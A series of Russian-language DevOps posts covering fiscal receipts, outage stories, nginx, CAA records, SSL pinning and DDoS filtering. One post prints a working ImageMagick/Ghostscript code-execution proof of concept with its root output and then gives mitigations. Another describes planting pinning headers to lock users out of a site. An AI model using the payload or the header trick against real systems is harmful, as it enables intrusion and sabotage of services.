5. На этом этапе все готово - на яндекс кассу приходят деньги, вы вручную пробиваете чек на кассе, касса сохраняет данные на фискальный накопитель и передает данные в ОФД, который в свою очередь пришлет клиенту чек и отправит данные в налоговую. Остался последний шаг - заставить яндекс кассу отправлять данные о платеже напрямую на вашу кассу, чтобы не пришлось пробивать чек в ручном режиме. С модуль кассой можно сделать по инструкции - https://support.modulkassa.ru/help/dlya-internet-magazina/yandeks-kassa/. С другими кассами ищите инструкции на сайте яндекс кассы - https://yandex.ru/support/checkout/merchant/settings.html#settings__online-sales-register

Вот примерно так это и работает. Самое тяжелое - это заинтегрировать все компоненты в единый механизм. Поэтому если вы принимаете платежи с помощью интернет эквайринга от тинькофф - сразу спрашивайте их смогут ли они отправлять информацию о платеже на кассу в автоматическом режиме. Если не смогут - придется выбивать чеки вручную на каждый платеж.

Всем добра и соблюдайте закон 🙂

Совсем забыл рассказать про прикольную штуку из закона о применении ККТ. Они на законодательном уровне потребовали делать бекапы:

Статья 4.5 пункт 2:
"осуществлять резервирование базы фискальных данных и восстанавливать из резервных копий базу фискальных данных в случае их утраты;"

Так что теперь не отвертишься, придется делать и тестировать бекапы 🙂

Недавно прочитал на хабре статью с фейлами в продакшене от компании Pixalate и несколько дней ходил и вспоминал свои собственные факапы и как я учился на своих же ошибках. Странно, но вспомнил только 3 интересные истории, хотя их было явно больше 🙂 Истории разобью на части, а то какой-то лонг рид получился.

История факапов, часть первая. Про репликацию.

Было время, когда я работал в игровой компании и занимался поддержкой инфраструктуры. В качестве базки везде использовался постгрес с tablespac'ами, мастер слейв репликацией и логической репликацией с использованием londiste. Сразу скажу, что с постгресом я только начинал работать и никакого pg_basebackup в тот момент не было.

В общем поступила задача настроить мастер слейв репликацию. Стандартная схема - делаешь start_backup(), копируем файлики, делаем stop_backup и стартуем слейв с валидным recovery.conf. Первый шаг я прошел без проблем, а вот со вторым - копированием файлов - случилась беда. Команду я выдал примерно такую:

rsync -av —delete —progress . <master_server>:/var/lib/postgresql/

Как вы догадались, запустил я ее на слейве, явно рассчитывая засинкать файлы с мастера на слейв. Но что-то пошло не так (ну как что - аргументы source & dest местами перепутал) и пустая слейвовая база заменила собой продакшен. Хорошо что, продакшен был в тот момент не продакшеном, а всего лишь релиз кандидатом - проект не был еще запущен. Но поседел я в тот момент знатно. Зато теперь никогда не забуду порядок аргументов к рсинку.

История факапов, часть вторая. Про локальную сетку.

Переезжали мы одной компанией в отдельно стоящие здание. И сделали там локальную сетку по уму. На каждом этаже поставили по 2 свитча уровня доступа, которые коммутировались на L3 свитчи - уровень ядра, за которыми стояло два роутера с выходом в интернет. Каждый отдел терминировался на свой vlan и L3 свитчи занимались роутингом пакетиков межд vlan'ами. Там еще отдельная сетка под внутренние серваки была.

В общем схема была прекрасна и в какой-то момент решили мы ее потестировать. Ну как потестировать - походить и повырубать жестко свитчи. Каждой железки же по две штуки, все закольцовано, так что вырубив один девайс - второй должен перехватить нагрузку и начать работать. Был составлен план тестов, зафигачен в конфлюенс, согласован со всеми заинтересованными сторонами и поставлен на реализацию в четверг ночью - в районе 22-23 часов вечера, когда офис опустеет от разработчиков.

Ждать в офисе до ночи было лениво и мы погнали в ближайший бар пропустить по паре пива всей командой. Тем более на огонек заглянул наш бывший коллега, с которым мы проработали пару лет. Наобщавшись, мы пошли вырубать нашу сетку, отставая от плана на пару часов.

Вырубили первый свитч уровня доступа - все работает. Врубили обратно, вырубили второй - все работает. Прошлись таким образом по всем этажам - все работает. Рубанули L3 свитч - все работает. Рубанули гейт - не работает. "Хммм", - подумали мы и врубили его обратно. Не работает. Вырубили второй - не работает. Врубили оба - не работает. Локалка видна, интернета нет. Фаерволы все ок - снаты прописаны, с самих гейтов все ок. "Андрюха, беги за пивом", - сказал я ближе к часу ночи. Холодненькое, к сожалению, не слишком помогло и в три ночи мы разъехались домой и оставив локальную сеть отдыхать до утра.

С утра все конечно починили, но осадочек от прекрасной схемы остался и мы ее больше не тестировали. Особенно после пары пива. В чем там была проблема уже толком и не вспомню. Наложилось несколько факторов, таких как вырубленный forwarding, не тот гейт стал мастером из-за keepalived и что-то еще. В общем эта история прибавила седых волос процентов на двадацать.

История факапов, часть третья. BGP.

Эту историю я помню, как будто это было вчера. Хотя это был 2010 год и я устроился на свою первую настоящую работу. Полная ставка, коммерческая компания. Не айтишная правда, но не суть.

Все серваки мы хостили у себя - вебы, почта, базы. Поскольку база была задействована в производстве - то вынести ее во вне не представлялось возможным. Но задача сделать веб сервер доступным 24x7 стояла во весь рост. Игры с dns и ttl особого доверия не внушали, поэтому было принято решение получить себе AS и провайдеро-независимые айпишники. Потом запириться с двумя разными провайдерами по bgp и автоматом переключать каналы в зависимости от доступности. Сказано - сделано. Получили AS, получили PI, законтачились с провадйерами по BGP, выставили приоритет на одного из провайдеров, который был основным и понеслась.

Отличались провайдеры только контрактом - на одном был безлимит за 40к рублей в месяц (если память не изменяет), у другого же был лимит на 10 гб/мес и сколько-то рублей за каждый последующий гб.

В общем прожили мы месяц, все было отлично, пока не пришел счет от второго провадейра на 1 миллион рублей с копейками. Даже не знаю как передать свое состояние на тот момент. До сих пор вспоминаю и коленки дрожат. Проблема оказалась, как не сложно догадаться, во входящем трафике. Исходящий уходил через кого надо, а вто входящий балансился между двумя провайдерами 50 на 50. Опять же не помню как мы это фиксили - community, preferences и что-то в таком духе.

А история закончилась на удивление хорошо и приятно. Провайдер пошел на встречу и подписал задним числом контракт на безлимит. BGP на миллион, чтоб его.

Заканчиваем с факапами, и начинаем ностальгировать. Ребята переписали winamp (помните про такой?) на html 5 + javascript. Посмотреть вживую можно у них на сайте - https://webamp.org, исходники доступны на гитхабе: https://github.com/captbaritone/webamp.

Вообще очень круто, что появляются такие проекты. Я реально перенесся на десяток лет назад, врубил музыку и начал поднимать exim на openbsd (https://www.lissyara.su/articles/openbsd/daemons/exim+cyrus-imapd+mysql/). Ася, openbsd, 11 класс, ух...

А что вы делали под winamp? 🙂

Очень долго метался сегодня между темами, о которых хочу написать. В итоге взгляд упал на nginx unit. О нем и пойдет речь.

Прочитать о проекте подробнее можно тут - https://unit.nginx.org. Но я все же не удержусь и вставлю пару сухих слов. Зато своих. Nginx unit представляет из себя сервер приложений, который можно динамически настраивать через API. На данный момент он поддерживает запуск php, python, ruby, golang и perl кода.

Идея проекта очень простая - научиться запускать приложения, написанные на основных языках с помощью единого интерфейса. Если раньше мы ставили unicorn/puma для ruby, fpm для php, uwsgi для python'а, то теперь это все можно заменить на единый nginx unit.

Зачем - пока не особо понятно. Тем более, если учесть, что все юникорны и прочие прекрасно пакуются в докер и особо ничего не требуют. Дополнительным "против" для меня является попытка объять необъятное. Попытка сделать комбайн, который будет запускать все подряд. Unix way мне явно ближе. Каждое приложение должно отвечать только за свою конкретную зону. Юникорн за руби, а fpm за php. Опять же - перед nginx unit на данный момент требуется ставить nginx, потому что сам юнит не умеет терминировать ssl, да и зачем ему это.

Из плюсов отмечу открытый API, которого нет в бесплатном nginx. Благодаря этому вы можете одним росчерком curl'а поднять параллельно второе приложение (с обновленным кодом) и потом бесшовно переключить весь трафик на него. Раньше приходилось возиться с haproxy и просить его выкинуть из балансировки ноду. Или извращаться кто как умеет. Юникорны и прочие, кстати, умеют делать это из коробки (я про USR2 и graceful reload). Так что плюс такой себе.

Но я никак не могу не отметить, что проект запускает команда, которая развивает и поддерживает nginx. Я им полностью доверяю и, возможно, они смогут удивить всех нас и сделать реально крутой application сервер, который мы сможем использовать повсеместно, не думаю о том что внутри. И забыть наконец про специализированные решения. Поживем - увидим.

Поздравляю всех причастных с праздником системного администратора, друзья! Последняя пятница июля отличное время чтобы отметить этот светлый день 🙂

Но я не удержался и все же решил закинуть небольшую полезняшку перед выходными. Расскажу немного про DNS CAA Record. CAA расшифровывается как Certificate Authority Authorization.

Этот тип записи подробно описан в RFC - https://tools.ietf.org/html/rfc6844 (что вообще логично, да) и позволяет указать какие CA имеют право выпускать сертификаты для вашего домена.

Формат записи: CAA flag tag value, где flag - 0 или 128. Если центр сертификации не поймет поля tag, и flag выставлен в 0 - то CA сам решит можно выпускать сертификат или нет. Если же стоит 128 - CA будет запрещено выпускать сертификат.
TAG - описывает основные параметры - issue - CA, issuewild - CA для wildcard сертификатов и iodef - email на который придет информация о попытке выпуска сертификата.

Примерные записи для домена example.com могут выглядеть следующим образом:

example.com. IN CAA 0 issue "digicert.com"
example.com. IN CAA 0 issuewild ";"
example.com. IN CAA 0 iodef "mailto:vasiliyozerov@gmail.com"

Читать это следуют следующим образом - выпускать сертификат для зоны example.com разрешено CA - digicert.com, wildcard сертификаты запрещено выпускать всем, а в случае попытки выпустить их другими центрами абьюзу кидать на vasiliyozerov@gmail.com.

Надеюсь кому-нибудь пригодится. С праздником!

Кто-то еще пушит креды в гит репозиторий? Мне кажется многие так и делают. Просто мы всегда забываем добавить .env в .gitignore 🙂

Недавно наткнулся на утилитку, которая может вам помочь избежать подобных факапов - просто встройте ее в свой тестовый пайплайн и прогоняйте периодически. Пусть оно лучше всплывет в виде алерта в слаке, нежели в выдаче гугла.

Найти утилитку можно здесь - https://github.com/zricethezav/gitleaks/, в readme описано все более чем подробно, поэтому оставляю чтение документации на ваше усмотрение.

Знаю, что баян, но она мне блин очень нравится.

Потрясающая технология ssl pinning. В двух словах - вы зашиваете отпечаток вашего ssl сертификата в ваш клиент (ios, android, whatever). И ваше приложение каждый раз, помимо стандартной проверки сертификата, будет так же проверять, что зашитый отпечаток сертификата совпадает с тем что отдал сервер.

Зачем это нужно? Все это стало достаточно актуально в сфере последних событий, когда крупные центры сертификации лажали и давали выпускать сертификаты даже тем, кому этого сделать нельзя. Или вообще теряли свой приватный ключ. В общем основная идея - сделать так, чтобы при компроментации CA, атака man-in-the-middle была невозможна.

Данная технология очень активно применяется в интернет банкинге, потому что ребята могут потерять много денег, если вдруг кто-то выпишет себе сертификаты на их домены.

А теперь пара слов про HSTS. Эта технология применяется браузерами для сохранения настроек ssl для конкретного сайта, а так же возможности сделать pinning публичного ключа. В общем то же самое что и для не-браузерных приложений, как описано выше.

Для указания срока действия сертификатов и пина публичных ключей используются http хедеры:
1. Strict-Transport-Security
2. Public-Key-Pins

Первый задает политику и время принудительной работы по https, а второй собственно пинит сертификат.

И тут у меня возникает логичный вопрос. Вот раньше, если кто-то ломанул мой сервер и дропнул базу (ну или стащил базу), то восстановить работоспособность и закрыть дыру достаточно плевое дело. Бекапы и вот это вот все. А сейчас? Хакеру достаточно добавить в ответы nginx'а хедеры, указанные выше, max age выставить в 1 год и прописать левые отпечатки сертификатов. И все - се ля ви. Все браузеры, которые словили этот хедер, будут уже не в состоянии зайти на сайт, выкидывая окно с предупреждением. Единственный вариант в данном случае - сбросить hsts сторадж на стороне клиента. А если их у вас 10к? Нехилый такой удар по конкурентам.

Отличные новости нам приходят от imagemgick'а, друзья! Просто показываю как это работает:

root@server:/tmp# cat > shell.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

root@server:/tmp# convert shell.jpeg out.gif

uid=0(root) gid=0(root) groups=0(root)

convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792 "-sOutputFile=/tmp/magick-13469GmEmsqWiRLpA%d" "-f/tmp/magick-13469JNjF1anuC6Oz" "-f/tmp/magick-134690t_fjcIR9wez" -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/461.
convert: no images defined `out.gif' @ error/convert.c/ConvertImageCommand/3210.

Кто не понял - если зафигачить специально сформированный файлик и подсунуть его convert'у, то можно выполнить произвольный код в системе. Тест выше был проведен на ubuntu 16.04 с apt-get install imagemagick.

Если у вас есть какой-либо бекграунд процессинг картинок imagemagick'ом, особенно тех, которые загружаются пользователями - советую подкорретировать policy.xml и добавить туда:

<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />

Это конечно не remote code execution в nginx, но все же достаточно популярная тулза, которая используется в бекграунд процессинге. Так что советую обратить на это внимание. Больше информации доступно здесь: http://www.openwall.com/lists/oss-security/2018/08/21/2

Всем привет, друзья! Что-то давно ничего не писал сюда. То времени нет, то настроения. Да и честно признаюсь, давно в технические проблемы не влезал - все больше проектами занимаюсь. А там основное - это команда. Ну и метрики естественно.

В общем я принял волевое решение, что данный канал теперь будет содержать мой поток сознания по всему что со мной происходит. Канал авторский, так что я могу себе такое позволить. Технические темы так же останутся, но не думаю что их будет слишком много. Зато около технической лабуды станет явно больше 🙂

Из последнего хотел поделиться с вами прикольным зацикливанием на ansible, которое предложил один из наших студентов (да-да, мы сейчас проводим обучение):

handlers:
- name: reload nginx
service: name=nginx state=reloaded
notify: restart nginx

- name: restart nginx
service: name=nginx state=restarted
notify: reload nginx

Я вообще ставил на то, что не зациклится, но оно зациклилось. Зачем это нужно? Да фиг его знает, просто понравилось 🙂

И последнее на сегодня. Мои большие друзья, с которыми я работал достаточно долгое время ищут себе крутого инженера, который будет двигать devops практики и создавать инфраструктуру-как-продукт для внутреннего пользования. Чуть больше подробностей ниже.

Список страшных слов: java, php, linux, mysql, clickhouse, prometheus, docker, bash, dns, cdn, ansible, teamcity, CI/CD
Задачи:
- поддержка внутренних пользователей (программисты, манагеры, вот это все)
- разработка, построение и внедрение инфраструктуры как внутреннего продукта
- уверенное движение к chat-ops, no-ops
- Поддержка кучи баз данных (кол-во которых постепенно снижается), надо не бояться Кликхауса.
- Мониторинг всего и вся
- внедрение красивых CI/CD
- тотальная автоматизация, но без фанатизма
- on-call пока сутки через трое 🙂
Деньгами не обидим. Но сильно зависит от ваших талантов и умений
Работа full-remote, в Москве и Питере есть коворкинги, если не хочется сидеть дома 🙂

Откликаться можно сюда: https://airpush.com/job/devops/

Ух, интересный сегодня денек. Дебажили с какого перепугу на nvme ssd такая маленькая скорость записи рандомных блоков по 4k. Публикую что нарыли. Если у кого-то появятся какие-то идеи - пингуйте в личку, буду благодарен.

Итак, дано: SAMSUNG MZVLW512HMJP-00000, материнка https://www.supermicro.com/products/motherboard/Xeon/C236_C232/X11SSE-F.cfm, проц: Intel(R) Xeon(R) CPU E3-1270 v6 @ 3.80GHz

Тестируем через: fio —filename=/dev/nvme0n1 —name=randwrite —ioengine=libaio —iodepth=1 —rw=randwrite —bs=512b —direct=0 —size=128M —numjobs=8 —runtime=240 —group_reporting —fsync=1

Да, fsync стоит специально, чтобы не использовать дисковый кеш. Этот бенч выдает ~ 3-6 mb/s и 2k iops. Та же команда на mac book air с обычной ssd выдает 65 mb/s, 11k iops.

А судя по https://ssd.userbenchmark.com/SpeedTest/181300/NVMe-SAMSUNG-MZVLW512 - эта ссд должна выдавать от 70 до 100 mb/s на рандомные 4k.

Перерыл кучу тредов по slow performance с этим ssd на *nix системах и выделил основные направления советов:
- Проверить что разделы выравнены по 512 байт. У всех все было выравнено и все было медленно.
- Проверить что диски действительно подключены к pci express. Проверял через lshw - все ок.
- Проверить что все PCI Express подключены на CPU, а не на PCT (хз что имеется ввиду, но судя по графу lshw - PCI Express подключен к CPU).
- Проверить что процессор не ниже sky lake. У нас следующее поколение - kybe lake, так что все должно быть ок.
- Проверить в BIOS что в биосе для слотов PCI-E стоит режим M.2, а не auto и скорость X4. Не нашел таких параметров на нашей материнке, так что пропускаю.
- Очень многие писали про драйвера - типа под винду установили драйвера от ocz и сразу стало все работать - не можем проверить, поскольку у нас linux и на них нет этих драйверов.
- Так же многие писали про то, что нельзя вставлять nvme ssd в слот ниже графической карточки - типа кто-то переткнул и у них все заработало. Звучит странно, но думаю тут дело кроется в настройках биоса каким-то образом.
- И еще очень много писали про смену материнки - про supermicro ничего не писали, но много было про gigabyte & msi, типа переехали на asus и все стало волшебно.
- У nvme есть параметр write voliate memory - который похоже вообще ни на что не влияет 🙂 Я его и врубал и отрубал и результаты были идентичными (кто хочет проверить - вот так можно его врубить: nvme set-feature -f 0x06 -v 0x01 /dev/nvme0, так - вырубить: nvme set-feature -f 0x06 -v 0x00 /dev/nvme0, а так посмотреть: nvme get-feature -f 0x06 -H /dev/nvme0n1 текущее значение.

В общем я пока склоняюсь к проблеме с драйверами - хотим на винде это же железо погонять, возможно станет понятнее. Есть идеи?

Наверняка все сталкивались с проблемой блокировок отдельных личностей, которые постоянно лезут на вашу апишку и делают что-то гадкое. Кто-то просто забивает вам все ресурсы, кто-то регает аккаунты пачкой, а кто-то под уже существующем аккаунтом делает гадости.

Искали и смотрели как лучше избавиться от наглецов и в итоге остановились на lua + nginx. Почему? Во-первых - это просто удобно. Для lua даже специальная библиотечку уже имеется с примерами - https://github.com/openresty/lua-resty-limit-traffic. Во-вторых - никакой дополнительной логики не надо писать в приложении. А в-третьих решение простое как бревно - никаких связей приложения с nginx / fail2ban через логи. Просто видим и блочим.

Всем пятницы!

Что делать если вас начали досить или и того хуже - ддосить?

Ну вообще-то желательно обратиться к профи антиддоса, но если надо прямо здесь и сейчас - есть один небольшой лайфхак.

Обычно ддос идет из стран, которые вашему сервису не интересен. Например, если у вас интернет магазин работает в России, то навряд ли можно считать валидными пользователей из Вьетнама. Абсолютно понятно, что it depends, но если вы подходите под этот случай, то быстро отбить небольшую атаку можно и с помощью nginx. Делает это примерно так.

В начале определяется map:

map $geoip_country_code $allowed_country {
    default no;
    RU yes;
    UA yes;
}

Мапим мы переменную, которую предоставляет geoip модуль, поэтому он должен быть подключен к nginx. В данном примере если пользователь пришел из России или Украины, то $allowed_country будет содержать значение yes. В остальных случаях - no.

Ну а дальше дело техники добавить в нужный server или location простенький if:

if ($allowed_country = no) {
return 403;
}

Отличное дополнение пришло от Ивана Боровкова по предыдущему посту:

"Привет. Про антиддос совет. Если не за L7 лоад балансером находится нгинкс, который отбивает соединения, то лучше возвращать 444, это специальный код ответа, который просто забывает о соединении и бережет ресурсы фронтенда. Нгинкс мощный, но и его можно положить, если не отбить соединение раньше."

Описание кода 444 можно посмотреть тут - https://httpstatuses.com/444. Действительно использовать лучше его.

P.S. К слову я почему-то всегда использовал в блоках 444, но я думал что это просто левый код 🙂

Отличный разбор инцидента от github'а: https://blog.github.com/2018-10-30-oct21-post-incident-analysis/. Люблю читать детективы 🙂

На самом деле при прочтении не отпускало ощущение, что ну блин, проблема же реально во всех этих автоматических переключателях. В итоге так примерно и оказалось:

"Adjust the configuration of Orchestrator to prevent the promotion of database primaries across regional boundaries. Orchestrator’s actions behaved as configured, despite our application tier being unable to support this topology change. Leader-election within a region is generally safe, but the sudden introduction of cross-country latency was a major contributing factor during this incident. This was emergent behavior of the system given that we hadn’t previously seen an internal network partition of this magnitude."

Но лучше всего описать мою мысль смогли комментарии под переводом статьи на хабре:

"Странно это все. Без всяких оркестраторов у них был бы даунтайм 43 секунды. Смысл в этих наворотах, если они не выполняют единственную свою задачу? Было ли тестирование такого сценария? Почему при небольшом рассогласовании данных нет другого механизма, кроме как восстановление из бэкапа?"

И вот в последнее время я все больше подхожу к мысли, что обычные интуитивные методы решения технических задач не всегда работают. Всегда хочется поставить задачу сделать отказоустойчивую систему. А вам точно это нужно? Может у вас день простоя стоит 100$ и вам нет смысла тратить 100k$ на решение и внедрение в этом случае? Или нужно ли вам резервирование active-active между ДЦ, если ваш текущий датацентр лежал 2 часа за прошлый год? Или нужна ли вам реплика базы физическая, если вы сможете восстановиться из бекапа за 10 минут?

Я конечно понимаю, что я сейчас накинул и мне прилетит, но все же я считаю, что нафиг не надо внедрять все подряд что в тренде. Надо всегда оценивать что вам принесет или не принесет то или иное решение. Старайтесь смотреть на ситуацию шире, подводить к какому-то общему знаменателю (да, это я про свой доклад revenue based monitoring :)). Ведь все эти айтишные штуки и задачи - это всего лишь инструменты бизнеса. И в итоге мы это все пилим чтобы нести какую-то ценность, а не просто ради "О! Прикольная / сложная / интересная задача."

Отвыступался на devops conf 2018 в этом году. Прикладываю запись выступления. Если есть идеи о чем еще интересно было бы послушать - пишите в личку, буду благодарен 🙂 С выбором тем у меня тяжко идет в последнее время.
https://www.youtube.com/watch?v=sZdEDHaNhY8

Очень крутую штуку ребята сделали конечно - https://github.com/spiral/roadrunner. Вдохнули в пхп проекты новую жизнь, так сказать. Больше деталей и описания здесь: https://habr.com/company/badoo/blog/434272/